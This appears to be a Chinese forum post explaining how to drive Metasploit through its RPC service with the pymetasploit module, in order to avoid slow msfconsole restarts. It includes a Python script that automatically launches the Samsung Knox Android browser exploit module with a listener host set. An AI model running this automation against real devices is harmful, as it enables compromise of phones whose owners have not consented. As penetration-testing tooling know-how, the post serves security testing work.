MSF1.jpg 
相信用过metasploit的同学都很苦逼,msfconsole漫长的启动时间,如果测试中敲错命令,或不小心退出后又重启任务,会让你直接抓狂。之前不想重复敲命令,看了下metasploit的开发文档,发现要自动化有各种方案,个人感觉最方便的是调用RPC接口,GITHUB上搜了把,发现有大拿封装好了模块,直接调用即可:
安装pymetasploit模块
  1. git clone https://github.com/allfro/pymetasploit
复制代码
切到目录
  1. sudo python setup.py install
复制代码
启动metasploit的RPC服务
  1.         
  2. msfrpcd -P test -n -f -a 127.0.0.1
复制代码
这个test是rpc服务的密码,用户名默认是msf

定制自己的测试脚本
我这里定制的是测试三星knox漏洞的脚本,思路是每次启动先把之前运行的job和console停掉,然后自动创建一个console自动敲入命令进行新的漏洞测试,直接crtl-c结束脚本再重新测试都是一个新的job,而且每次测试都是秒开,不用再重启msfconsole了。中间各种接口怎么用,推荐大家再翻下官方的文档。
  1. from metasploit.msfrpc import MsfRpcClient
  2. import time

  3. client = MsfRpcClient('test')

  4. jobs = client.call('job.list')
  5. for num in jobs.keys():
  6.     if jobs[num].find('samsung_knox_smdm_url')>0:
  7.         client.call('job.stop',num)

  8. console = client.call('console.list')
  9. for _console in console['consoles']:
  10.     if _console.has_key('prompt'):
  11.         if _console['prompt'].find('samsung_knox_smdm_url')>0:
  12.             client.call('console.destroy', _console['id'])

  13. cmd='''
  14. use exploit/android/browser/samsung_knox_smdm_url
  15. set LHOST 127.0.0.1
  16. exploit
  17. '''

  18. res = client.call('console.create')
  19. console_id = res['id']
  20. client.call('console.write', console_id, cmd)

  21. try:
  22.     while True:
  23.         res = client.call('console.read',console_id)
  24.         if len(res['data']) > 1:
  25.                 print res['data'],

  26.         if res['busy'] == True:
  27.                 time.sleep(1)
  28.                 continue
  29. except:
  30.     pass
复制代码